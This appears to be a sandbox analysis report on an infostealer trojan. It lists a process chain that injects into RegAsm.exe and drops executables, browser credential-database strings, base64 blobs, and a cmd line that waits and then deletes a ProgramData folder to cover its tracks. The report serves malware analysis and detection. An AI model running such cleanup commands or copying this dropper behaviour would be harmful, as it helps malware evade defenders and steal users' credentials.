Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004362B0	15_2_004362B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00401379	15_2_00401379
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004483F0	15_2_004483F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004013BC	15_2_004013BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00409442	15_2_00409442
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0042D4B0	15_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00436560	15_2_00436560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0042F5D0	15_2_0042F5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004015DE	15_2_004015DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040A5E0	15_2_0040A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0042C5E3	15_2_0042C5E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00428581	15_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00403660	15_2_00403660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00410690	15_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004487D0	15_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00447870	15_2_00447870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004378C0	15_2_004378C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00407900	15_2_00407900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040C9D0	15_2_0040C9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0041DACA	15_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00406B60	15_2_00406B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00437B70	15_2_00437B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0042CB0F	15_2_0042CB0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0042ABF9	15_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00443B90	15_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040BC60	15_2_0040BC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040ACC0	15_2_0040ACC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00426D6F	15_2_00426D6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00447D70	15_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0042CD08	15_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00412D20	15_2_00412D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00404DB0	15_2_00404DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00449E50	15_2_00449E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00413E12	15_2_00413E12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00410ED0	15_2_00410ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0043DF50	15_2_0043DF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00406F00	15_2_00406F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00408FCE	15_2_00408FCE

Source: Joe Sandbox View	Dropped File: C:\ProgramData\AFIDGDBGCA.exe 2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
Source: Joe Sandbox View	Dropped File: C:\ProgramData\BFIIEHJDBK.exe 0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C0D94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040C7C0 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104E7 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041C710 appears 153 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C0CCBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C2C09D0 appears 105 times

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 948

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.2065929158.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exe< vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: BFIIEHJDBK.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66f4247d51812_lfdsjna[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: AFIDGDBGCA.exe.3.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: MFDBG.exe.6.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: FDWDZ.exe.7.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: AFIDGDBGCA.exe.3.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: MFDBG.exe.6.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: FDWDZ.exe.7.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@30/1065@14/11

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C0F7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C0F7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

3_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

3_2_00411807

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5824
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2672

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: HDHJEB.3.dr, ECGIII.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AFIDGDBGCA.exe "C:\ProgramData\AFIDGDBGCA.exe"
Source: C:\ProgramData\AFIDGDBGCA.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\BFIIEHJDBK.exe "C:\ProgramData\BFIIEHJDBK.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 948
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5824 -s 948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AFIDGDBGCA.exe "C:\ProgramData\AFIDGDBGCA.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\BFIIEHJDBK.exe "C:\ProgramData\BFIIEHJDBK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker	Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
